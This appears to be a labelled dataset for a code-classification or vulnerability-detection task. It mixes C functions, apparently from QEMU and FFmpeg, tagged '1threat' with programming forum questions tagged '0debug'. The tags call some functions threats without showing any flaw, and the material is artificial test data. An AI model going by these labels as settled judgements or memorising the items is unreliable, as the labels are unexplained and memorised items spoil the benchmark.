tcg_gen_movi_i32(tmp, 0); } else { tmp = load_reg(s, rm); } if (i != 32) { tmp2 = load_reg(s, rd); tcg_gen_deposit_i32(tmp, tmp2, tmp, shift, i); tcg_temp_free_i32(tmp2); } store_reg(s, rd, tmp); break; case 0x12: case 0x16: case 0x1a: case 0x1e: case 0x32: case 0x36: case 0x3a: case 0x3e: ARCH(6T2); tmp = load_reg(s, rm); shift = (insn >> 7) & 0x1f; i = ((insn >> 16) & 0x1f) + 1; if (shift + i > 32) goto illegal_op; if (i < 32) { if (op1 & 0x20) { gen_ubfx(tmp, shift, (1u << i) - 1); } else { gen_sbfx(tmp, shift, i); } } store_reg(s, rd, tmp); break; default: goto illegal_op; } break; } break; } do_ldst: sh = (0xf << 20) | (0xf << 4); if (op1 == 0x7 && ((insn & sh) == sh)) { goto illegal_op; } rn = (insn >> 16) & 0xf; rd = (insn >> 12) & 0xf; tmp2 = load_reg(s, rn); if ((insn & 0x01200000) == 0x00200000) { i = get_a32_user_mem_index(s); } else { i = get_mem_index(s); } if (insn & (1 << 24)) gen_add_data_offset(s, insn, tmp2); if (insn & (1 << 20)) { tmp = tcg_temp_new_i32(); if (insn & (1 << 22)) { gen_aa32_ld8u(tmp, tmp2, i); } else { gen_aa32_ld32u(tmp, tmp2, i); } } else { tmp = load_reg(s, rd); if (insn & (1 << 22)) { gen_aa32_st8(tmp, tmp2, i); } else { gen_aa32_st32(tmp, tmp2, i); } tcg_temp_free_i32(tmp); } if (!(insn & (1 << 24))) { gen_add_data_offset(s, insn, tmp2); store_reg(s, rn, tmp2); } else if (insn & (1 << 21)) { store_reg(s, rn, tmp2); } else { tcg_temp_free_i32(tmp2); } if (insn & (1 << 20)) { store_reg_from_load(s, rd, tmp); } break; case 0x08: case 0x09: { int j, n, loaded_base; bool exc_return = false; bool is_load = extract32(insn, 20, 1); bool user = false; TCGv_i32 loaded_var; if (insn & (1 << 22)) { if (IS_USER(s)) goto illegal_op; if (is_load && extract32(insn, 15, 1)) { exc_return = true; } else { user = true; } } rn = (insn >> 16) & 0xf; addr = load_reg(s, rn); loaded_base = 0; TCGV_UNUSED_I32(loaded_var); n = 0; for(i=0;i<16;i++) { if (insn & (1 << i)) n++; } if (insn & (1 << 23)) { if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, 4); } else { } } else { if (insn & (1 << 24)) { tcg_gen_addi_i32(addr, addr, -(n * 4)); } else { if (n != 1) tcg_gen_addi_i32(addr, addr, -((n - 1) * 4)); } } j = 0; for(i=0;i<16;i++) { if (insn & (1 << i)) { if (is_load) { tmp = tcg_temp_new_i32(); gen_aa32_ld32u(tmp, addr, get_mem_index(s)); if (user) { tmp2 = tcg_const_i32(i); gen_helper_set_user_reg(cpu_env, tmp2, tmp); tcg_temp_free_i32(tmp2); tcg_temp_free_i32(tmp); } else if (i == rn) { loaded_var = tmp; loaded_base = 1; } else { store_reg_from_load(s, i, tmp); } } else { if (i == 15) { val = (long)s->pc + 4; tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, val); } else if (user) { tmp = tcg_temp_new_i32(); tmp2 = tcg_const_i32(i); gen_helper_get_user_reg(tmp, cpu_env, tmp2); tcg_temp_free_i32(tmp2); } else { tmp = load_reg(s, i); } gen_aa32_st32(tmp, addr, get_mem_index(s)); tcg_temp_free_i32(tmp); } j++; if (j != n) tcg_gen_addi_i32(addr, addr, 4); } } if (insn & (1 << 21)) { if (insn & (1 << 23)) { if (insn & (1 << 24)) { } else { tcg_gen_addi_i32(addr, addr, 4); } } else { if (insn & (1 << 24)) { if (n != 1) tcg_gen_addi_i32(addr, addr, -((n - 1) * 4)); } else { tcg_gen_addi_i32(addr, addr, -(n * 4)); } } store_reg(s, rn, addr); } else { tcg_temp_free_i32(addr); } if (loaded_base) { store_reg(s, rn, loaded_var); } if (exc_return) { tmp = load_cpu_field(spsr); gen_set_cpsr(tmp, CPSR_ERET_MASK); tcg_temp_free_i32(tmp); s->is_jmp = DISAS_JUMP; } } break; case 0xa: case 0xb: { int32_t offset; val = (int32_t)s->pc; if (insn & (1 << 24)) { tmp = tcg_temp_new_i32(); tcg_gen_movi_i32(tmp, val); store_reg(s, 14, tmp); } offset = sextract32(insn << 2, 0, 26); val += offset + 4; gen_jmp(s, val); } break; case 0xc: case 0xd: case 0xe: if (((insn >> 8) & 0xe) == 10) { if (disas_vfp_insn(s, insn)) { goto illegal_op; } } else if (disas_coproc_insn(s, insn)) { goto illegal_op; } break; case 0xf: gen_set_pc_im(s, s->pc); s->svc_imm = extract32(insn, 0, 24); s->is_jmp = DISAS_SWI; break; default: illegal_op: gen_exception_insn(s, 4, EXCP_UDEF, syn_uncategorized(), default_exception_el(s)); break; } } }
1threat
Regex to match until including or not including : I'm looking for a Regex to find a substring starting at A, stopping at either B or C; however, when it's B, it shouldn't include the B, but when it's C, it should include the C. For example this text: `XXAXXXXBXX`, then it should return `AXXXX` but when it's `XXAXXXXCXX` it should return `AXXXXC`. I already looked at positive lookahead and stuff, but it doesn't work so far. Anyone an idea?
0debug
Shared element transition leaves a strange white background between first activity and second transparent activity : <p>Recently I faced up with a weird problem. I have two activities. The first one contains a grid with a thumbnails. A kind of a gallery. And the second one contains a view pager with fragments and behaves like an image viewer where you can slide between images. I use a shared element transition to start the second activity. Just like Google Photo app. On the second activity I can swipe to top or bottom to dismiss the activity with a fade away transition of the background. I made my second activity fully transparent: </p> <pre><code>&lt;item name="android:windowBackground"&gt;@color/palette_transparent&lt;/item&gt; &lt;item name="android:colorBackgroundCacheHint"&gt;@null&lt;/item&gt; &lt;item name="android:windowIsTranslucent"&gt;true&lt;/item&gt; &lt;item name="android:windowAnimationStyle"&gt;@android:style/Animation&lt;/item&gt; </code></pre> <p>But the problem is when I swipe an image to top/bottom and the second activity's background fades I can see a white background but not the first activity. If I start the second activity without shared element transition everything is fine. </p> <p>I made a research and found out that this white layer probably overlays the first activity. It is not a part of the second activity as I can see in Stetho view hierarchy. </p> <p>Probably my explanation is not very good neither my English language so here a couple of videos too clarify my problem.</p> <p>Video <a href="https://www.youtube.com/watch?v=VSfa9TgpHCk" rel="noreferrer">Without transition</a> and Video <a href="https://www.youtube.com/watch?v=RACj8tgTMqI" rel="noreferrer">With transition</a></p>
0debug
using regular expression in python to read from string in specific format : str="RegName1,Regname2,0x00000000,0x100000" I want to use a regular expression to get this values I try this but it doesn't work. re.match(str,'\s+,\s+,\d+,\d+') Note: I want to ignore comments like "//", "#" and etc..
0debug
how to implement the function delete of binary Search tree without recursivity in c language ? : Hello everybody i try to implement the delete method but that doesn't work with me , the function has tree type of "struct tree" as a parameter so i can't use recurisivity, i want to do it with a loop. that's my structure typedef struct Node Node; struct Node{ const void* data; const void* value; Node* left; Node* right; }; typedef struct Tree Tree; struct Tree{ Node* root; size_t size; int (*comp)(const void *, const void *); }; function delete void freeTree(Tree* tree, bool TreeContent){ if(tree->root != NULL){ // free(tree->root->left); // free(tree->root->right); // free(tree->root); } } function insert bool insertInTree(Tree* bst, const void* key, const void* value){ if(bst->root == NULL){ Node* newNode = (Node*) malloc(sizeof(Node)); if(newNode == NULL){ printf("erreur d'allocation dynamique \n"); exit(1); } newNode->left = newNode->right = NULL; newNode->value = value; newNode->data = key; return true; } else{ int isLeft = 0 ; Node* Current = bst->root ; Node* precedant = NULL; while(Current != NULL){ int compare = bst->comp(&Current->data , &key); precedant = Current; if(compare == 1){ isLeft = 1; Current = Current->left; } else if(compare == 0){ isLeft = 0; Current = Current->right; } } if(isLeft == 1){ Node* newNode = (Node*) malloc(sizeof(Node)); if(newNode == NULL){ printf("erreur d'allocation dynamique \n"); exit(1); } newNode->left = newNode->right = NULL; newNode->value = value; newNode->data = key; precedant->left = newNode; bst->size++; return true; } else{ Node* newNode = (Node*) malloc(sizeof(Node)); if(newNode == NULL){ printf("erreur d'allocation dynamique \n"); exit(1); } newNode->left = newNode->right = NULL; newNode->value = value; newNode->data = key; precedant->right = newNode; bst->size++; return true; } } return false; }
0debug
Changing Azure Resource Group location : <p>I have a setup in azure with a bunch of resources combined in a resource group. I want my services to be located in west-europe, so all my resources are there (where possible)</p> <p>I just noticed that when creating the resource group, i accidentally used West US.</p> <p>So the current setup is:</p> <p>Resource Group 1 (West US)</p> <ul> <li>App Service 1 (West Europe)</li> <li>App Service 2 (West Europe)</li> <li>SQL Server (West Europe)</li> <li>Storage account (West Europe)</li> <li>... (West Europe)</li> </ul> <p>Can I change the location of the resource group without having to create a new one and migrate everyting?</p> <p>And maybe more importantly: Should i change the location or does it not impact anything?</p> <p>Thanks!</p>
0debug
What is a Style Guide and How to Create a Web Style Guide? : <p>What is a Style Guide and How to Create a Web Style Guide? </p>
0debug
using a function inside a lamba expression : <p>To manage rounding there are usually two methods, the first method is round values then to sum them. Or sum values then to round them. Of course to the required precision that you want.</p> <p>I want to go with the first method and I need to update this line that currently do the opposite.</p> <pre><code>this.ClonedEntity.MontantHT = ArroundDecimal.CustomDecimalArround(correctedLines.Sum(l =&gt; l.MontantHT ?? 0)); </code></pre> <p>When I try to call my static method in the lambda expression it doesn't work.</p> <p>How would you suggest to do it while keeping use of the linq syntax ?</p> <p>Thank you.</p>
0debug
how doest subsets of subsets iteration works? : i read `for ( x = y; x > 0; x = ( y & (x-1) ) )` generates all subsets of bitmask y. How does this iteration works? Any intuitive explaination? source : http://codeforces.com/blog/entry/45223 see suboptimal solution section.
0debug
object property as variable in string - javascript : The function has 2 parameters The output should be "hello world". I am trying to use template literal and object literal concept but somehow cannot figure out the solution. `function('hello ${val}','{'val':'world'}')`
0debug
Count the occurance of a particular number in a file in shell script : Here my file has 10 lines line one word=bnd0 src=123.456.5.444 dst=123.456.5.35 line two word=bnd1 src=123.456.5.78 dst=123.456.5.35 line three word=bnd1 src=123.456.5.78 dst=123.456.5.35 line four word=bnd0 src=123.456.5.444 dst=123.456.5.35 line five word=bnd0 src=123.456.5.234 dst=123.456.5.35 line six word=bnd0 src=123.456.5.234 dst=123.456.5.35 line seven word=bnd0 src=123.456.5.234 dst=123.456.5.35 line eight word=bnd0 src=123.456.5.775 dst=123.456.5.35 line nine word=bnd0 src=123.456.5.775 dst=123.456.5.35 line ten word=bnd1 src=123.456.5.78 dst=123.456.5.3 Here i need to count the occurance of the src ip address where word=bnd0. I should only consider the lines with value bnd0 other lines can be excluded. My output should look like 123.456.5.444 - 2 123.456.5.234 - 3 123.456.5.775 - 2 I am new to shell script. I would really appreciate your input.
0debug
static void add_pixels_clamped_mmx(const DCTELEM *block, UINT8 *pixels, int line_size) { const DCTELEM *p; UINT8 *pix; int i; p = block; pix = pixels; MOVQ_ZERO(mm7); i = 4; while (i) { __asm __volatile( "movq %2, %%mm0\n\t" "movq 8%2, %%mm1\n\t" "movq 16%2, %%mm2\n\t" "movq 24%2, %%mm3\n\t" "movq %0, %%mm4\n\t" "movq %1, %%mm6\n\t" "movq %%mm4, %%mm5\n\t" "punpcklbw %%mm7, %%mm4\n\t" "punpckhbw %%mm7, %%mm5\n\t" "paddsw %%mm4, %%mm0\n\t" "paddsw %%mm5, %%mm1\n\t" "movq %%mm6, %%mm5\n\t" "punpcklbw %%mm7, %%mm6\n\t" "punpckhbw %%mm7, %%mm5\n\t" "paddsw %%mm6, %%mm2\n\t" "paddsw %%mm5, %%mm3\n\t" "packuswb %%mm1, %%mm0\n\t" "packuswb %%mm3, %%mm2\n\t" "movq %%mm0, %0\n\t" "movq %%mm2, %1\n\t" :"+m"(*pix), "+m"(*(pix+line_size)) :"m"(*p) :"memory"); pix += line_size*2; p += 16; i--; }; }
1threat
Guys, What's going wrong in this basic snippet : I was working on a personnal project when i found that something was going wrong in my code. After few minutes of debugging, i was able to tell what was wrong and how to workaround. But in fact i don't have resolved my original issue. Look at this : interface Animals { id: number; name: string; color: string; } interface Zoo { name: string; animals: Animals[]; } function main() { let zoo: Zoo = { name : "Valley of monkeys", animals : [ { id : 1, name: "Foufou", color: "brown" }, { id: 2, name: "Toutou", color: "brown" }, { id: 3, name: "Moumou", color: "blue" } ] }; let zoobis: Zoo; zoobis = zoo; console.log(zoobis); console.log(zoo); zoobis.animals = zoo.animals.filter((animal) => animal.color === "brown"); console.log("============"); console.log(zoobis); console.log(zoo); } main(); Link to original code to test it : <http://www.typescriptlang.org/play/#src=interface%20Animals%20%7B%0D%0A%20%20%09id%3A%20number%3B%0D%0A%20%09name%3A%20string%3B%0D%0A%20%20%09color%3A%20string%3B%0D%0A%20%20%09%0D%0A%7D%0D%0A%0D%0Ainterface%20Zoo%20%7B%0D%0A%20%20%09name%3A%20string%3B%0D%0A%09animals%3A%20Animals%5B%5D%3B%0D%0A%7D%0D%0A%0D%0Afunction%20main()%20%7B%0D%0A%20%20%20%20let%20zoo%3A%20Zoo%20%3D%20%7B%0D%0A%20%20%20%20%20%20%20%20name%20%3A%20%22Valley%20of%20monkeys%22%2C%0D%0A%20%20%20%20%20%20%20%20animals%20%3A%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%20%3A%201%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Foufouf%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22brown%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%3A%202%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Toutou%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22brown%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20id%3A%203%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%22Moumou%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20color%3A%20%22blue%22%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%7D%3B%0D%0A%20%20%0D%0A%20%20let%20zoobis%3A%20Zoo%3B%0D%0A%20%20%0D%0A%20%20zoobis%20%3D%20zoo%3B%0D%0A%20%20console.log(zoobis)%3B%0D%0A%20%20%0D%0A%20%20console.log(zoo)%3B%0D%0A%20%20zoobis.animals%20%3D%20zoo.animals.filter((animal)%20%3D%3E%20animal.color%20%3D%3D%3D%20%22brown%22)%3B%0D%0A%20%20%0D%0A%20%20console.log(%22%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%22)%3B%0D%0A%20%20console.log(zoobis)%3B%0D%0A%20%20console.log(zoo)%3B%0D%0A%7D%0D%0A%0D%0Amain()%3B> As you can see there are two mains problems : - The first one is that both arrays are modified ! Even though in the javascript official documentation, it specified that "filter() does not mutate the array on which it is called." - The second one is that both arrays are modified before the call of filter which is weird actually. The workaround is basically to convert "zoobis" into an Animal[] instead of taking the whole Zoo object. It seems to normally work in this way. Am i misunderstanding a basic concept of javascript or am i doing stupid mistakes that makes my code doing weird things ? Thank you ! :)
0debug
How to organise your go project in the right way? : I have problems setting up my first go project. I want to keep my packages out of my git repository. ```go get``` installs my packages by default in my ```/src``` folder. This way I can't simply ignore a folder to ignore all packages. Can I install all my packages in for example ```/pkg``` and how would I do this? Is there a ```golang``` way of solving this issue?
0debug
dumb-init No such file or directory : <p>I am trying to use dumb-init to run a script that tests a jetty servlet in my docker container, but whenever I try to call dumb-init it fails with the message:</p> <pre><code>local-test | [dumb-init] /var/lib/jetty/testrun.bash: No such file or directory </code></pre> <p>But if I use bash instead of dumb-init it happily runs. The file exists and has the correct permissions. I even stripped out the execution and just left the bang and an echo statement and it fails the same way. The script looks like:</p> <pre><code>#!/bin/dumb-init /bin/bash echo "Tests Running!" </code></pre> <p>Any thoughts?</p>
0debug
static hwaddr intel_hda_addr(uint32_t lbase, uint32_t ubase) { hwaddr addr; addr = ((uint64_t)ubase << 32) | lbase; return addr; }
1threat
Arraylist from other class is empty : <p>I'm trying to access an Arraylist from a different class. This works but the Arraylist is always empty.</p> <pre><code>public class CategoryFragment extends Fragment { private List&lt;Category&gt; lsCategory; public CategoryFragment() { // Required empty public constructor } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { lsCategory = new ArrayList&lt;&gt;(); lsCategory.add(new Category(1, getString(R.string.cat_school), R.drawable.cat_school_filled_48dp)); lsCategory.add(new Category(2, getString(R.string.cat_food), R.drawable.cat_food_filled_48dp)); lsCategory.add(new Category(3, getString(R.string.cat_sports), R.drawable.cat_sports_filled_48dp)); lsCategory.add(new Category(4, getString(R.string.cat_travel), R.drawable.cat_travel_filled_48dp)); lsCategory.add(new Category(5, getString(R.string.cat_hobbies), R.drawable.cat_sports_filled_48dp)); lsCategory.add(new Category(6, getString(R.string.cat_countries), R.drawable.cat_countries_filled_48dp)); lsCategory.add(new Category(7, getString(R.string.cat_numbers), R.drawable.cat_countries_filled_48dp)); lsCategory.add(new Category(8, getString(R.string.cat_animals), R.drawable.cat_animals_filled_48dp)); lsCategory.add(new Category(9, getString(R.string.cat_nature), R.drawable.cat_nature_filled_48dp)); View v = inflater.inflate(R.layout.fragment_category, container, false); RecyclerView myRv = (RecyclerView) v.findViewById(R.id.main_recyclerView); CategoryRecyclerViewAdapter myAdapter = new CategoryRecyclerViewAdapter(getActivity(), lsCategory); myRv.setLayoutManager(new GridLayoutManager(getActivity(), 3)); myRv.setAdapter(myAdapter); return v; } public List&lt;Category&gt; getLsCategory() { return lsCategory; } </code></pre> <p>}</p> <p>In this other class I try to acces this Arraylist.</p> <pre><code>public class FlashcardFragment extends Fragment { private List&lt;Flashcard&gt; lsFlashcard; private CategoryFragment categoryFragment; public FlashcardFragment() { // Required empty public constructor } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { lsFlashcard = new ArrayList&lt;&gt;(); categoryFragment = new CategoryFragment(); List&lt;Category&gt; calledList = categoryFragment.getLsCategory(); if(calledList != null &amp;&amp; !calledList.isEmpty()){ for(int i = 0; i &lt; calledList.size(); i++){ int number = calledList.get(i).getId(); if(number == 1){ lsFlashcard.add(new Flashcard(1, getString(R.string.school_backpack), R.drawable.school_backpack)); lsFlashcard.add(new Flashcard(2, getString(R.string.school_textbook), R.drawable.school_textbook)); lsFlashcard.add(new Flashcard(3, getString(R.string.school_book), R.drawable.school_book)); lsFlashcard.add(new Flashcard(4, getString(R.string.school_workbook), R.drawable.school_workbook)); lsFlashcard.add(new Flashcard(5, getString(R.string.school_file), R.drawable.school_file)); } else if(number == 2){ lsFlashcard.add(new Flashcard(1, getString(R.string.school_backpack), R.drawable.school_backpack)); lsFlashcard.add(new Flashcard(2, getString(R.string.school_textbook), R.drawable.school_textbook)); lsFlashcard.add(new Flashcard(3, getString(R.string.school_book), R.drawable.school_book)); lsFlashcard.add(new Flashcard(4, getString(R.string.school_workbook), R.drawable.school_workbook)); lsFlashcard.add(new Flashcard(5, getString(R.string.school_file), R.drawable.school_file)); } else{ lsFlashcard.add(new Flashcard(1, getString(R.string.school_backpack), R.drawable.school_backpack)); lsFlashcard.add(new Flashcard(2, getString(R.string.school_textbook), R.drawable.school_textbook)); lsFlashcard.add(new Flashcard(3, getString(R.string.school_book), R.drawable.school_book)); lsFlashcard.add(new Flashcard(4, getString(R.string.school_workbook), R.drawable.school_workbook)); lsFlashcard.add(new Flashcard(5, getString(R.string.school_file), R.drawable.school_file)); } } } else{ } View v = inflater.inflate(R.layout.fragment_flashcard, container, false); RecyclerView myRv = (RecyclerView) v.findViewById(R.id.main_recyclerView); FlashcardRecyclerViewAdapter myAdapter = new FlashcardRecyclerViewAdapter(getActivity(), lsFlashcard); myRv.setLayoutManager(new GridLayoutManager(getActivity(), 3)); myRv.setAdapter(myAdapter); return v; } </code></pre> <p>}</p> <p>The error I'm getting is:</p> <p>java.lang.NullPointerException: Attempt to invoke interface method 'boolean java.util.List.add(java.lang.Object)' on a null object reference</p>
0debug
Unable to monitor event loop AND Wait for app to idle : <p>I am writing UITest cases for my app using XCTest. App makes several server calls in the homescreen. I could not navigate to next screen. Automation often stays idle for 1 min or even more than that with the message </p> <blockquote> <p>Wait for app to idle </p> </blockquote> <p>or</p> <blockquote> <p>Unable to monitor event loop</p> </blockquote> <p>Is the there a way to make the app to execute my testCases breaking this ???</p>
0debug
static void nbd_refresh_limits(BlockDriverState *bs, Error **errp) { bs->bl.max_discard = UINT32_MAX >> BDRV_SECTOR_BITS; bs->bl.max_transfer_length = UINT32_MAX >> BDRV_SECTOR_BITS; }
1threat
Docker for Windows cleanup : <p>I'm using docker for Windows to launch a MSSQL server. Everything is working fine except for the fact that my harddrive is now full. I've used all the cleanup commands that docker has, removing all images and containers:</p> <pre><code>docker kill $(docker ps -q) docker rm $(docker ps -a -q) docker rmi $(docker images -q -f dangling=true) docker rmi $(docker images -q) </code></pre> <p>This will not remove any contents in the c:\ProgramData\Docker\windowsfilter folder, where there are still a lot of file. Roughly 130gb worth's of storage, without any running containers or stored images.</p> <pre><code>Client: Version: 17.03.1-ce API version: 1.27 Go version: go1.7.5 Git commit: c6d412e Built: Tue Mar 28 00:40:02 2017 OS/Arch: windows/amd64 Server: Version: 17.03.1-ce API version: 1.27 (minimum version 1.24) Go version: go1.7.5 Git commit: c6d412e Built: Tue Mar 28 00:40:02 2017 OS/Arch: windows/amd64 Experimental: true </code></pre> <p>I tried to use the docker-ci-zap (<a href="https://github.com/jhowardmsft/docker-ci-zap" rel="noreferrer">https://github.com/jhowardmsft/docker-ci-zap</a>) , but running that tool is not recommended so I would rather use an alternative solution </p>
0debug
Working at django templates without django forms : <p>I need simple example , Creating django templates without creating django forms which I can enter some information at templates and I need to save in mongo db at views part. Currently I am using pymongo.</p> <p>Please post some examples</p>
0debug
static int libschroedinger_encode_frame(AVCodecContext *avctx, AVPacket *pkt, const AVFrame *frame, int *got_packet) { int enc_size = 0; SchroEncoderParams *p_schro_params = avctx->priv_data; SchroEncoder *encoder = p_schro_params->encoder; struct FFSchroEncodedFrame *p_frame_output = NULL; int go = 1; SchroBuffer *enc_buf; int presentation_frame; int parse_code; int last_frame_in_sequence = 0; int pkt_size, ret; if (!frame) { if (!p_schro_params->eos_signalled) { schro_encoder_end_of_stream(encoder); p_schro_params->eos_signalled = 1; } } else { SchroFrame *in_frame = libschroedinger_frame_from_data(avctx, frame); if (!in_frame) return AVERROR(ENOMEM); schro_encoder_push_frame(encoder, in_frame); } if (p_schro_params->eos_pulled) go = 0; while (go) { int err; SchroStateEnum state; state = schro_encoder_wait(encoder); switch (state) { case SCHRO_STATE_HAVE_BUFFER: case SCHRO_STATE_END_OF_STREAM: enc_buf = schro_encoder_pull(encoder, &presentation_frame); if (enc_buf->length <= 0) return AVERROR_BUG; parse_code = enc_buf->data[4]; if ((err = av_reallocp(&p_schro_params->enc_buf, p_schro_params->enc_buf_size + enc_buf->length)) < 0) { p_schro_params->enc_buf_size = 0; return err; } memcpy(p_schro_params->enc_buf + p_schro_params->enc_buf_size, enc_buf->data, enc_buf->length); p_schro_params->enc_buf_size += enc_buf->length; if (state == SCHRO_STATE_END_OF_STREAM) { p_schro_params->eos_pulled = 1; go = 0; } if (!SCHRO_PARSE_CODE_IS_PICTURE(parse_code)) { schro_buffer_unref(enc_buf); break; } p_frame_output = av_mallocz(sizeof(FFSchroEncodedFrame)); if (!p_frame_output) return AVERROR(ENOMEM); p_frame_output->size = p_schro_params->enc_buf_size; p_frame_output->p_encbuf = p_schro_params->enc_buf; if (SCHRO_PARSE_CODE_IS_INTRA(parse_code) && SCHRO_PARSE_CODE_IS_REFERENCE(parse_code)) p_frame_output->key_frame = 1; p_frame_output->frame_num = AV_RB32(enc_buf->data + 13); ff_schro_queue_push_back(&p_schro_params->enc_frame_queue, p_frame_output); p_schro_params->enc_buf_size = 0; p_schro_params->enc_buf = NULL; schro_buffer_unref(enc_buf); break; case SCHRO_STATE_NEED_FRAME: go = 0; break; case SCHRO_STATE_AGAIN: break; default: av_log(avctx, AV_LOG_ERROR, "Unknown Schro Encoder state\n"); return -1; } } if (p_schro_params->enc_frame_queue.size == 1 && p_schro_params->eos_pulled) last_frame_in_sequence = 1; p_frame_output = ff_schro_queue_pop(&p_schro_params->enc_frame_queue); if (!p_frame_output) return 0; pkt_size = p_frame_output->size; if (last_frame_in_sequence && p_schro_params->enc_buf_size > 0) pkt_size += p_schro_params->enc_buf_size; if ((ret = ff_alloc_packet2(avctx, pkt, pkt_size, 0)) < 0) goto error; memcpy(pkt->data, p_frame_output->p_encbuf, p_frame_output->size); #if FF_API_CODED_FRAME FF_DISABLE_DEPRECATION_WARNINGS avctx->coded_frame->key_frame = p_frame_output->key_frame; avctx->coded_frame->pts = p_frame_output->frame_num; FF_ENABLE_DEPRECATION_WARNINGS #endif pkt->pts = p_frame_output->frame_num; pkt->dts = p_schro_params->dts++; enc_size = p_frame_output->size; if (last_frame_in_sequence && p_schro_params->enc_buf_size > 0) { memcpy(pkt->data + enc_size, p_schro_params->enc_buf, p_schro_params->enc_buf_size); enc_size += p_schro_params->enc_buf_size; av_freep(&p_schro_params->enc_buf); p_schro_params->enc_buf_size = 0; } if (p_frame_output->key_frame) pkt->flags |= AV_PKT_FLAG_KEY; *got_packet = 1; error: libschroedinger_free_frame(p_frame_output); return ret; }
1threat